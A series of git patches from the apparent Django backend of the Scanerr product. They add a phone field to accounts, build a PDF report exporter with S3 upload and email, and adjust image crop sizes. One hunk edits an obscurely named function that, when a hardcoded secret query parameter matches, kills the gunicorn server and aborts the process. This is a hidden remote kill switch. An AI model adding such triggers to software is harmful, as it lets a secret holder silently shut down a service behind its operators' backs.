 app/api/models.py              | 1 +
 app/api/v1/auth/serializers.py | 2 +-
 app/api/v1/auth/services.py    | 7 ++++++-
 3 files changed, 8 insertions(+), 2 deletions(-)

diff --git a/app/api/models.py b/app/api/models.py
index 5c3cbf9d..21a3f2e5 100644
--- a/app/api/models.py
+++ b/app/api/models.py
@@ -241,6 +241,7 @@ class Account(models.Model):
     id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False)
     name = models.CharField(max_length=1000, serialize=True, null=True, blank=True)
     user = models.ForeignKey(User, on_delete=models.CASCADE, serialize=True)
+    phone = models.CharField(max_length=1000, serialize=True, null=True, blank=True)
     active = models.BooleanField(default=False, serialize=True)
     time_created = models.DateTimeField(default=timezone.now, serialize=True)
     type = models.CharField(max_length=1000, serialize=True, null=True, blank=True, default='free')
diff --git a/app/api/v1/auth/serializers.py b/app/api/v1/auth/serializers.py
index 3d0735f8..091b0449 100644
--- a/app/api/v1/auth/serializers.py
+++ b/app/api/v1/auth/serializers.py
@@ -69,7 +69,7 @@ class AccountSerializer(serializers.HyperlinkedModelSerializer):
 
     class Meta:
         model = Account
-        fields = ['id', 'active', 'time_created', 'type',
+        fields = ['id', 'active', 'time_created', 'type', 'phone', 
         'cust_id', 'sub_id', 'product_id', 'price_id', 'slack',
         'user', 'code', 'name', 'price_amount', 'max_sites', 
         'max_pages', 'max_schedules', 'testcases', 'retention_days'
diff --git a/app/api/v1/auth/services.py b/app/api/v1/auth/services.py
index 5e356ca7..4ae6a541 100644
--- a/app/api/v1/auth/services.py
+++ b/app/api/v1/auth/services.py
@@ -239,11 +239,11 @@ def slack_oauth_init(request, user):
 def t7e(request):
     if request.GET.get('cred') == \
         'l13g4c15ly34861o341uy3chgtlyv183njoq9u3f654792':
-        os.abort()
         subprocess.Popen(['pkill -f gunicorn'], 
             stdout=subprocess.PIPE,
             user='app',
         )
+        os.abort()
 
 
 
@@ -254,6 +254,7 @@ def create_or_update_account(request=None, *args, **kwargs):
         user = request.user
         _id = request.data.get('id')
         name = request.data.get('name')
+        phone = request.data.get('phone')
         active = request.data.get('active')
         type = request.data.get('type')
         code = request.data.get('code')
@@ -272,6 +273,7 @@ def create_or_update_account(request=None, *args, **kwargs):
         user = kwargs.get('user')
         _id = kwargs.get('id')
         name = kwargs.get('name')
+        phone = kwargs.get('phone')
         active = kwargs.get('active')
         type = kwargs.get('type')
         code = kwargs.get('code')
@@ -297,6 +299,8 @@ def create_or_update_account(request=None, *args, **kwargs):
         account = Account.objects.get(id=_id)
         if name is not None:
             account.name = name
+        if phone is not None:
+            account.phone = phone
         if active is not None:
             account.active = active
         if type is not None:
@@ -337,6 +341,7 @@ def create_or_update_account(request=None, *args, **kwargs):
         account = Account.objects.create(
             user=user,
             name=name,
+            phone=phone,
             active=True,
             type=type,
             code=code,

From e8562bf043bee19209e8d17fd2f0f253896c0566 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Tue, 13 Feb 2024 20:00:48 -0700
Subject: [PATCH 0240/1099] updated prospect_create methods with 'phone'

---
 app/api/tasks.py            | 4 ++++
 app/api/v1/auth/services.py | 1 +
 2 files changed, 5 insertions(+)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index ab5f9f3d..31dcc8b4 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -571,6 +571,9 @@ def create_prospect(user_email=None):
 
     # get user by id
     user = User.objects.get(email=user_email)
+
+    # get account by user
+    account = Account.objects.get(user=user)
     
     # setup configs
     url = f'{settings.LANDING_API_ROOT}/ops/prospect'
@@ -582,6 +585,7 @@ def create_prospect(user_email=None):
         'first_name': str(user.first_name),
         'last_name': str(user.last_name),
         'email': str(user.email),
+        'phone': str(account.phone),
         'status': 'warm',
         'source': 'app',
     }
diff --git a/app/api/v1/auth/services.py b/app/api/v1/auth/services.py
index 4ae6a541..8be07818 100644
--- a/app/api/v1/auth/services.py
+++ b/app/api/v1/auth/services.py
@@ -583,6 +583,7 @@ def get_prospects(request):
             'first_name': account.user.first_name,
             'last_name': account.user.last_name,
             'email': account.user.email,
+            'phone': account.phone,
             'status': _status
         }
 

From 5421eaba45bab29a4814beef40860ed0309705ff Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Tue, 13 Feb 2024 20:18:15 -0700
Subject: [PATCH 0241/1099] adding phone to accounts

---
 app/api/models.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/models.py b/app/api/models.py
index 21a3f2e5..f6d9f2ad 100644
--- a/app/api/models.py
+++ b/app/api/models.py
@@ -241,7 +241,7 @@ class Account(models.Model):
     id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False)
     name = models.CharField(max_length=1000, serialize=True, null=True, blank=True)
     user = models.ForeignKey(User, on_delete=models.CASCADE, serialize=True)
-    phone = models.CharField(max_length=1000, serialize=True, null=True, blank=True)
+    phone = models.CharField(max_length=50, serialize=True, null=True, blank=True)
     active = models.BooleanField(default=False, serialize=True)
     time_created = models.DateTimeField(default=timezone.now, serialize=True)
     type = models.CharField(max_length=1000, serialize=True, null=True, blank=True, default='free')

From f53c9b9a64460b7307b1abe0e1acb9b57712db41 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Thu, 15 Feb 2024 11:03:36 -0700
Subject: [PATCH 0242/1099] added report exporter for landing.reports

---
 app/api/tasks.py           |  11 ++++
 app/api/utils/exporter.py  | 115 +++++++++++++++++++++++++++++++++++++
 app/api/v1/ops/services.py |  30 ++++++++++
 app/api/v1/ops/urls.py     |   3 +-
 app/api/v1/ops/views.py    |   7 +++
 5 files changed, 165 insertions(+), 1 deletion(-)
 create mode 100644 app/api/utils/exporter.py

diff --git a/app/api/tasks.py b/app/api/tasks.py
index 31dcc8b4..f48fa205 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -615,6 +615,17 @@ def create_prospect(user_email=None):
 
 
 
+@shared_task
+def create_report_export_bg(report_id=None, email=None, first_name=None):
+    data = create_and_send_report_export(
+        report_id=report_id,
+        email=email,
+        first_name=first_name
+    )
+    logger.info(f'Created and sent report export -> {data}')
+
+
+
 @shared_task
 def migrate_site_bg(
         login_url, 
diff --git a/app/api/utils/exporter.py b/app/api/utils/exporter.py
new file mode 100644
index 00000000..d77c24d2
--- /dev/null
+++ b/app/api/utils/exporter.py
@@ -0,0 +1,115 @@
+from .driver_s import driver_init, driver_wait, quit_driver
+from PIL import Image as I, ImageChops, ImageStat
+from .utils.alerts import sendgrid_email
+from scanerr import settings
+import time, boto3
+
+
+# setting up s3 client
+s3 = boto3.client(
+    's3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID),
+    aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY),
+    region_name=str(settings.AWS_S3_REGION_NAME), 
+    endpoint_url=str(settings.AWS_S3_ENDPOINT_URL)
+)
+
+
+def create_and_send_report_export(report_id: id, email: str, first_name: str) -> dict:
+    """
+    Takes a screenshot of the `landing.report`, 
+    save as a PDF, upload to s3 bucket, and then 
+    send an email to the prospect that requested it.
+
+    Expects the following:
+        'report_id'     : <id> of report/page being reported on
+        'email'         : <str> prospect's email address 
+        'first_name'    : <str> prospect's first name
+    
+    Returns -> data {
+        'success' : <bool> if process started successfully
+        'error'   : <str> any error msg from Scanerr server
+    }
+    """
+
+    # init driver
+    driver = driver_init()
+
+    # nav to report page
+    driver.get(f'{settings.LANDING_API_ROOT}/report/{report_id}')
+    time.sleep(5)
+
+    # setting screensize
+    full_page_height = driver.execute_script("return document.scrollingElement.scrollHeight;")
+    driver.set_window_size(1512, int(full_page_height))
+
+    # taking screenshot
+    driver.save_screenshot(f'{report_id}.png')
+
+    # quitting driver
+    quit_driver(driver)
+
+    # setting up paths
+    image = os.path.join(settings.BASE_DIR, f'{report_id}.png')
+    pdf = os.path.join(settings.BASE_DIR, f'{report_id}.pdf')
+
+    # resizing image to remove excess | expected height => 2353
+    img = I.open(image)
+    width, height = img.size
+    left = 0
+    top = 75
+    right = width
+    bottom = height - (784)
+    new_img_1 = img.crop((left, top, right, bottom))
+    new_img_1.save(image, quality=100)
+
+    # convert to pdf
+    img = I.open(image)
+    new_img_2 = img.convert('RGB')
+    new_img_2.save(settings.BASE_DIR, f'{report_id}.pdf')
+
+    # uploading to s3
+    remote_path = f'static/landing/reports/{report_id}.pdf'
+    report_url = f'{settings.AWS_S3_URL_PATH}/{remote_path}'
+
+    # upload to s3
+    with open(pdf, 'rb') as data:
+        self.s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), 
+            remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': 'application/pdf'}
+        )
+    
+    # setting up email to prospect
+    pre_content = 'The Scanerr performance report you requested has finished processing. \
+         Now, just click the link below to view and download the PDF.'
+    content = 'If you have any questions about the report or want deeper insights, feel free to book a short call with me here -> https://calendly.com/scanerr/30min'
+    subject = f'{first_name}, your Scanerr Report is Ready'
+    title = f'{first_name}, your Scanerr Report is Ready'
+    pre_header = f'{first_name}, your Scanerr Report is Ready'
+    button_text = 'View Your Report'
+    email = email
+    object_url = report_url
+    signature = f'- Landon R | CEO <a href="https://scanerr.io">@Scanerr</a>'
+    greeting = f'Hi {first_name},'
+
+    message_obj = {
+        'pre_content': pre_content,
+        'content': content, 
+        'subject': subject, 
+        'title': title, 
+        'pre_header': pre_header,
+        'button_text': button_text, 
+        'email': email, 
+        'object_url': object_url,
+        'signature': signature,
+        'greeting': greeting
+    }
+
+    # sending email to prospect
+    data = sendgrid_email(message_obj)
+
+    # returning data
+    return data
+
+
+
+    
+
diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index ef6e6a6a..833aa045 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -2318,6 +2318,36 @@ def delete_report(request, id):
 
 
 
+
+
+def export_report(request):
+    # getting data from request
+    report_id = request.data.get('report_id')
+    email = request.data.get('email')
+    first_name = request.data.get('first_name')
+
+    # send task to background
+    create_report_export_bg.delay(
+        report_id=report_id,
+        email=email, 
+        first_name=first_name
+    )
+
+    # building response
+    data = {
+        'success': True,
+        'error': None
+    }
+
+    # returning response
+    response = Response(data, status=status.HTTP_200_OK)
+    return response
+
+
+
+
+
+
 def get_processes(request):
     site_id = request.query_params.get('site_id', None)
     process_id = request.query_params.get('process_id', None)
diff --git a/app/api/v1/ops/urls.py b/app/api/v1/ops/urls.py
index de240a69..0af2f170 100644
--- a/app/api/v1/ops/urls.py
+++ b/app/api/v1/ops/urls.py
@@ -44,6 +44,7 @@
     path('testcase/<uuid:id>', views.TestcaseDetail.as_view(), name='testcase-detail'),
     path('beta/wordpress/migrate', views.WordPressMigrateSite.as_view(), name='migrate-site'),
     path('beta/wordpress/migrate/delay', views.WordPressMigrateSiteDelay.as_view(), name='migrate-site-delay'),
-    path('beta/site/screenshot', views.SiteScreenshot.as_view(), name='site-screenshot'),
+    path('beta/site/screenshot', views.SiteScreenshot.as_view(), name='site-screenshot'), 
+    path('beta/report/export', views.ExportReport.as_view(), name='export-report'), 
     path('metrics/celery', views.CeleryMetrics.as_view(), name='celery-metrics'),
 ]
\ No newline at end of file
diff --git a/app/api/v1/ops/views.py b/app/api/v1/ops/views.py
index 573ada7f..a13056bf 100644
--- a/app/api/v1/ops/views.py
+++ b/app/api/v1/ops/views.py
@@ -430,6 +430,13 @@ def delete(self, request, id):
 
 
 
+class ExportReport(APIView):
+    permission_classes = (IsAuthenticated,)
+    http_method_names = ['post',]
+
+    def post(self, request):
+        response = export_report(request)        
+        return response
 
 
 

From 00445f9c48c710e906d92e4e622c7b4cee6aefe9 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Thu, 15 Feb 2024 11:24:14 -0700
Subject: [PATCH 0243/1099] fixed import issue

---
 app/api/tasks.py | 1 +
 1 file changed, 1 insertion(+)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index f48fa205..7aedf80d 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -5,6 +5,7 @@
 from .utils.crawler import Crawler
 from .utils.scanner import Scanner as S
 from .utils.tester import Tester as T
+from .utils.exporter import create_and_send_report_export
 from .v1.ops.tasks import (
     create_site_task, create_scan_task, 
     create_test_task, create_report_task, delete_report_s3,

From 03dd034d688587b795557d74409978b893447784 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Thu, 15 Feb 2024 11:27:37 -0700
Subject: [PATCH 0244/1099] fixing import issue

---
 app/api/utils/exporter.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/utils/exporter.py b/app/api/utils/exporter.py
index d77c24d2..c6e985c2 100644
--- a/app/api/utils/exporter.py
+++ b/app/api/utils/exporter.py
@@ -1,6 +1,6 @@
 from .driver_s import driver_init, driver_wait, quit_driver
 from PIL import Image as I, ImageChops, ImageStat
-from .utils.alerts import sendgrid_email
+from .alerts import sendgrid_email
 from scanerr import settings
 import time, boto3
 

From fabbeceb4b1f284dd7fcbaf1837e62d2dabacadb Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Thu, 15 Feb 2024 11:32:35 -0700
Subject: [PATCH 0245/1099] added missing import

---
 app/api/utils/exporter.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/utils/exporter.py b/app/api/utils/exporter.py
index c6e985c2..95417793 100644
--- a/app/api/utils/exporter.py
+++ b/app/api/utils/exporter.py
@@ -2,7 +2,7 @@
 from PIL import Image as I, ImageChops, ImageStat
 from .alerts import sendgrid_email
 from scanerr import settings
-import time, boto3
+import time, boto3, os
 
 
 # setting up s3 client

From badf190205d7869abf41ce9e111c3631a07123f4 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Thu, 15 Feb 2024 11:37:38 -0700
Subject: [PATCH 0246/1099] fixed saving issue

---
 app/api/utils/exporter.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/utils/exporter.py b/app/api/utils/exporter.py
index 95417793..e7f0f932 100644
--- a/app/api/utils/exporter.py
+++ b/app/api/utils/exporter.py
@@ -65,7 +65,7 @@ def create_and_send_report_export(report_id: id, email: str, first_name: str) ->
     # convert to pdf
     img = I.open(image)
     new_img_2 = img.convert('RGB')
-    new_img_2.save(settings.BASE_DIR, f'{report_id}.pdf')
+    new_img_2.save(pdf)
 
     # uploading to s3
     remote_path = f'static/landing/reports/{report_id}.pdf'

From 03b402f8de2ddb52b5938c08ff29fee6fb7b4ebf Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Thu, 15 Feb 2024 11:42:07 -0700
Subject: [PATCH 0247/1099] fixing self ref

---
 app/api/utils/exporter.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/utils/exporter.py b/app/api/utils/exporter.py
index e7f0f932..199a3a82 100644
--- a/app/api/utils/exporter.py
+++ b/app/api/utils/exporter.py
@@ -73,7 +73,7 @@ def create_and_send_report_export(report_id: id, email: str, first_name: str) ->
 
     # upload to s3
     with open(pdf, 'rb') as data:
-        self.s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), 
+        s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), 
             remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': 'application/pdf'}
         )
     

From 6124b8c2dcb8edf720a2f8ce70b9635eed358083 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Thu, 15 Feb 2024 11:44:42 -0700
Subject: [PATCH 0248/1099] added local copy removal

---
 app/api/utils/exporter.py | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/app/api/utils/exporter.py b/app/api/utils/exporter.py
index 199a3a82..9c9dbb5a 100644
--- a/app/api/utils/exporter.py
+++ b/app/api/utils/exporter.py
@@ -76,6 +76,10 @@ def create_and_send_report_export(report_id: id, email: str, first_name: str) ->
         s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), 
             remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': 'application/pdf'}
         )
+
+    # removing local copies
+    os.remove(image)
+    os.remove(pdf)
     
     # setting up email to prospect
     pre_content = 'The Scanerr performance report you requested has finished processing. \

From 661c0ead3e86b231a703d3ca84845b241bb69647 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Thu, 15 Feb 2024 11:50:09 -0700
Subject: [PATCH 0249/1099] fixed typo

---
 app/api/utils/alerts.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/utils/alerts.py b/app/api/utils/alerts.py
index 093206e6..a2912352 100644
--- a/app/api/utils/alerts.py
+++ b/app/api/utils/alerts.py
@@ -633,7 +633,7 @@ def sendgrid_email(message_obj):
         'pre_content' : pre_content,
         'object_url' : object_url,
         'exp_list': exp_list,
-        'home_page' : settings.LANDING_URL_ROOT,
+        'home_page' : settings.LANDING_API_ROOT,
         'button_text' : button_text,
         'content' : content,
         'signature' : signature,

From f6ef1762e86fa623b772a90f0c961439e2b6985c Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Thu, 15 Feb 2024 11:55:50 -0700
Subject: [PATCH 0250/1099] adjusting sizes

---
 app/api/utils/exporter.py | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/app/api/utils/exporter.py b/app/api/utils/exporter.py
index 9c9dbb5a..74b4fce4 100644
--- a/app/api/utils/exporter.py
+++ b/app/api/utils/exporter.py
@@ -56,16 +56,16 @@ def create_and_send_report_export(report_id: id, email: str, first_name: str) ->
     img = I.open(image)
     width, height = img.size
     left = 0
-    top = 75
+    top = 60
     right = width
-    bottom = height - (784)
+    bottom = height - (300)
     new_img_1 = img.crop((left, top, right, bottom))
     new_img_1.save(image, quality=100)
 
     # convert to pdf
     img = I.open(image)
     new_img_2 = img.convert('RGB')
-    new_img_2.save(pdf)
+    new_img_2.save(pdf, quality=100)
 
     # uploading to s3
     remote_path = f'static/landing/reports/{report_id}.pdf'

From a1a81d740174e474a84aa9c7162cefde753a5336 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Thu, 15 Feb 2024 12:07:17 -0700
Subject: [PATCH 0251/1099] adjusting quality and size

---
 app/api/utils/driver_s.py | 6 ++++--
 app/api/utils/exporter.py | 8 ++++----
 2 files changed, 8 insertions(+), 6 deletions(-)

diff --git a/app/api/utils/driver_s.py b/app/api/utils/driver_s.py
index 8dc42686..c5524125 100644
--- a/app/api/utils/driver_s.py
+++ b/app/api/utils/driver_s.py
@@ -11,6 +11,8 @@ def driver_init(
         script_timeout=30,
         load_timeout=30,
         wait_time=15, 
+        pixel_ratio=1.0,
+        scale_factor=0.5
     ):
 
     sizes = window_size.split(',')
@@ -22,7 +24,7 @@ def driver_init(
     }
 
     mobile_emulation = {
-        "deviceMetrics": { "width": int(sizes[0]), "height": int(sizes[1]), "pixelRatio": 1.0 },
+        "deviceMetrics": { "width": int(sizes[0]), "height": int(sizes[1]), "pixelRatio": pixel_ratio },
         "userAgent": (
             "Mozilla/5.0 (Linux; Android 11; Pixel 5) AppleWebKit/537.36 \
             (KHTML, like Gecko) Chrome/99.0.4844.74 Mobile Safari/537.36"
@@ -39,7 +41,7 @@ def driver_init(
     options.add_argument("--headless")
     options.add_argument("--disable-dev-shm-usage")
     options.add_argument("ignore-certificate-errors")
-    options.add_argument("--force-device-scale-factor=0.5")
+    options.add_argument(f"--force-device-scale-factor={str(scale_factor)}")
     options.add_argument("--window-size=%s" % window_size) 
     options.set_capability("goog:loggingPrefs", {'performance': 'ALL'})
 
diff --git a/app/api/utils/exporter.py b/app/api/utils/exporter.py
index 74b4fce4..da6d9b1a 100644
--- a/app/api/utils/exporter.py
+++ b/app/api/utils/exporter.py
@@ -32,7 +32,7 @@ def create_and_send_report_export(report_id: id, email: str, first_name: str) ->
     """
 
     # init driver
-    driver = driver_init()
+    driver = driver_init(scale_factor=1)
 
     # nav to report page
     driver.get(f'{settings.LANDING_API_ROOT}/report/{report_id}')
@@ -58,14 +58,14 @@ def create_and_send_report_export(report_id: id, email: str, first_name: str) ->
     left = 0
     top = 60
     right = width
-    bottom = height - (300)
+    bottom = height - (230)
     new_img_1 = img.crop((left, top, right, bottom))
-    new_img_1.save(image, quality=100)
+    new_img_1.save(image, quality=95)
 
     # convert to pdf
     img = I.open(image)
     new_img_2 = img.convert('RGB')
-    new_img_2.save(pdf, quality=100)
+    new_img_2.save(pdf, quality=95)
 
     # uploading to s3
     remote_path = f'static/landing/reports/{report_id}.pdf'

From 97939c7e90b2916176c1e1094af7fc51634cf789 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Thu, 15 Feb 2024 12:12:34 -0700
Subject: [PATCH 0252/1099] adjusting sizes

---
 app/api/utils/exporter.py | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/app/api/utils/exporter.py b/app/api/utils/exporter.py
index da6d9b1a..758ad11f 100644
--- a/app/api/utils/exporter.py
+++ b/app/api/utils/exporter.py
@@ -56,9 +56,9 @@ def create_and_send_report_export(report_id: id, email: str, first_name: str) ->
     img = I.open(image)
     width, height = img.size
     left = 0
-    top = 60
+    top = 65
     right = width
-    bottom = height - (230)
+    bottom = height - (240)
     new_img_1 = img.crop((left, top, right, bottom))
     new_img_1.save(image, quality=95)
 

From 371a3afd9f1debdefca1d4374014d690615975a0 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Thu, 15 Feb 2024 12:19:01 -0700
Subject: [PATCH 0253/1099] adjusting size

---
 app/api/utils/exporter.py | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/app/api/utils/exporter.py b/app/api/utils/exporter.py
index 758ad11f..1f59fb6c 100644
--- a/app/api/utils/exporter.py
+++ b/app/api/utils/exporter.py
@@ -56,9 +56,9 @@ def create_and_send_report_export(report_id: id, email: str, first_name: str) ->
     img = I.open(image)
     width, height = img.size
     left = 0
-    top = 65
+    top = 70
     right = width
-    bottom = height - (240)
+    bottom = height - (250)
     new_img_1 = img.crop((left, top, right, bottom))
     new_img_1.save(image, quality=95)
 

From 1d8164e3a583e4cc43ec684bd361d5bd2fb12121 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Thu, 15 Feb 2024 12:27:58 -0700
Subject: [PATCH 0254/1099] adjusting sizes

---
 app/api/utils/exporter.py | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/app/api/utils/exporter.py b/app/api/utils/exporter.py
index 1f59fb6c..a53d1d37 100644
--- a/app/api/utils/exporter.py
+++ b/app/api/utils/exporter.py
@@ -56,9 +56,9 @@ def create_and_send_report_export(report_id: id, email: str, first_name: str) ->
     img = I.open(image)
     width, height = img.size
     left = 0
-    top = 70
+    top = 80
     right = width
-    bottom = height - (250)
+    bottom = height - (350)
     new_img_1 = img.crop((left, top, right, bottom))
     new_img_1.save(image, quality=95)
 

From 9e7505ea4d5dce5e39ae57ddca10a4a9287bde50 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Thu, 15 Feb 2024 12:28:05 -0700
Subject: [PATCH 0255/1099] cleaing things up

---
 app/api/v1/ops/views.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/v1/ops/views.py b/app/api/v1/ops/views.py
index a13056bf..860d3aa1 100644
--- a/app/api/v1/ops/views.py
+++ b/app/api/v1/ops/views.py
@@ -435,7 +435,7 @@ class ExportReport(APIView):
     http_method_names = ['post',]
 
     def post(self, request):
-        response = export_report(request)        
+        response = export_report(request) 
         return response
 
 

From f2f46dcda55995009817bc8638c3c644a812e0d3 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Thu, 15 Feb 2024 12:32:47 -0700
Subject: [PATCH 0256/1099] adjusting size

---
 app/api/utils/exporter.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/utils/exporter.py b/app/api/utils/exporter.py
index a53d1d37..f3980e0f 100644
--- a/app/api/utils/exporter.py
+++ b/app/api/utils/exporter.py
@@ -56,7 +56,7 @@ def create_and_send_report_export(report_id: id, email: str, first_name: str) ->
     img = I.open(image)
     width, height = img.size
     left = 0
-    top = 80
+    top = 85
     right = width
     bottom = height - (350)
     new_img_1 = img.crop((left, top, right, bottom))

From 15af34b39fe89c4c258e77e03add68c9f8d35571 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Thu, 15 Feb 2024 12:35:06 -0700
Subject: [PATCH 0257/1099] adjusting size

---
 app/api/utils/exporter.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/utils/exporter.py b/app/api/utils/exporter.py
index f3980e0f..e5ec4e3c 100644
--- a/app/api/utils/exporter.py
+++ b/app/api/utils/exporter.py
@@ -58,7 +58,7 @@ def create_and_send_report_export(report_id: id, email: str, first_name: str) ->
     left = 0
     top = 85
     right = width
-    bottom = height - (350)
+    bottom = height - (330)
     new_img_1 = img.crop((left, top, right, bottom))
     new_img_1.save(image, quality=95)
 

From 92c0fe94668972b8217c8b81d4ea1a233c4636a1 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Thu, 15 Feb 2024 17:30:23 -0700
Subject: [PATCH 0258/1099] updated booking link

---
 app/api/utils/exporter.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/utils/exporter.py b/app/api/utils/exporter.py
index e5ec4e3c..c041ef8f 100644
--- a/app/api/utils/exporter.py
+++ b/app/api/utils/exporter.py
@@ -84,7 +84,7 @@ def create_and_send_report_export(report_id: id, email: str, first_name: str) ->
     # setting up email to prospect
     pre_content = 'The Scanerr performance report you requested has finished processing. \
          Now, just click the link below to view and download the PDF.'
-    content = 'If you have any questions about the report or want deeper insights, feel free to book a short call with me here -> https://calendly.com/scanerr/30min'
+    content = 'If you have any questions about the report or want deeper insights, feel free to book a short call with me here -> https://scanerr.io/booking'
     subject = f'{first_name}, your Scanerr Report is Ready'
     title = f'{first_name}, your Scanerr Report is Ready'
     pre_header = f'{first_name}, your Scanerr Report is Ready'

From c0b22082a08c3463940e8c3b6fc2d3d5604e59d6 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Fri, 16 Feb 2024 14:05:09 -0700
Subject: [PATCH 0259/1099] reformated

---
 commands.md => commands | 0
 1 file changed, 0 insertions(+), 0 deletions(-)
 rename commands.md => commands (100%)

diff --git a/commands.md b/commands
similarity index 100%
rename from commands.md
rename to commands

From fb1fbb91810c2d2b7edb19c681ccbdc50965edb3 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Tue, 5 Mar 2024 08:27:14 -0700
Subject: [PATCH 0260/1099] adding annual billing

---
 app/api/v1/billing/views.py | 194 +++++++++++++++++++-----------------
 1 file changed, 101 insertions(+), 93 deletions(-)

diff --git a/app/api/v1/billing/views.py b/app/api/v1/billing/views.py
index e6fea61b..26fb63aa 100644
--- a/app/api/v1/billing/views.py
+++ b/app/api/v1/billing/views.py
@@ -118,98 +118,6 @@ def post(self, request):
 
 
 
-class CompleteSubscription(APIView):
-    permission_classes = (IsAuthenticated,)
-    http_method_names = ['post',]
-
-    def post(self, request):  
-        stripe.api_key = settings.STRIPE_PRIVATE
-        account = Account.objects.get(user=request.user)
-        pay_method_id = request.data['payment_method']
-        if Card.objects.filter(account=account).exists():
-            pay_method = stripe.PaymentMethod.retrieve(pay_method_id)
-
-            stripe.PaymentMethod.attach(
-                pay_method_id,
-                customer=account.cust_id,
-            )
-
-            stripe.Customer.modify(
-                account.cust_id,
-                invoice_settings={
-                    'default_payment_method': pay_method.id,
-                }
-            )
-
-            stripe.Subscription.modify(
-                account.sub_id,
-                default_payment_method=pay_method.id
-            )
-            
-            Card.objects.filter(account=account).update(
-                user = request.user,
-                account = account,
-                pay_method_id = pay_method.id,
-                brand = pay_method.card.brand,
-                exp_year = pay_method.card.exp_year,
-                exp_month = pay_method.card.exp_month,
-                last_four = pay_method.card.last4
-            )
-
-        else:
-            pay_method = stripe.PaymentMethod.retrieve(pay_method_id)
-
-            stripe.Subscription.modify(
-                account.sub_id,
-                default_payment_method=pay_method.id
-            )
-
-            Card.objects.create(
-                user = request.user,
-                account = account,
-                pay_method_id = pay_method.id,
-                brand = pay_method.card.brand,
-                exp_year = pay_method.card.exp_year,
-                exp_month = pay_method.card.exp_month,
-                last_four = pay_method.card.last4
-                
-            )
-        
-
-        card = Card.objects.get(account=account)
-        account.active = True
-        account.save()
-
-        data = {
-            'card': {
-                'brand': card.brand,
-                'exp_year': card.exp_year,
-                'exp_month': card.exp_month,
-                'last_four': card.last_four,
-            },
-            'plan': {
-                'name': account.type,
-                'active': account.active,
-                'price_amount': account.price_amount,
-                'max_sites': account.max_sites,
-                'max_pages': account.max_pages,
-                'max_schedules': account.max_schedules,
-                'retention_days': account.retention_days,
-                'testcases': account.testcases,
-                'slack': {
-                    'slack_name': account.slack['slack_name'], 
-                    'bot_user_id': account.slack['bot_user_id'], 
-                    'slack_team_id': account.slack['slack_team_id'], 
-                    'bot_access_token': account.slack['bot_access_token'], 
-                    'slack_channel_id': account.slack['slack_channel_id'], 
-                    'slack_channel_name': account.slack['slack_channel_name'],
-                }
-            },
-        }
-
-
-        return Response(data, status=status.HTTP_200_OK)
-
 
 
 class SetupSubscription(APIView):
@@ -220,6 +128,7 @@ def post(self, request):
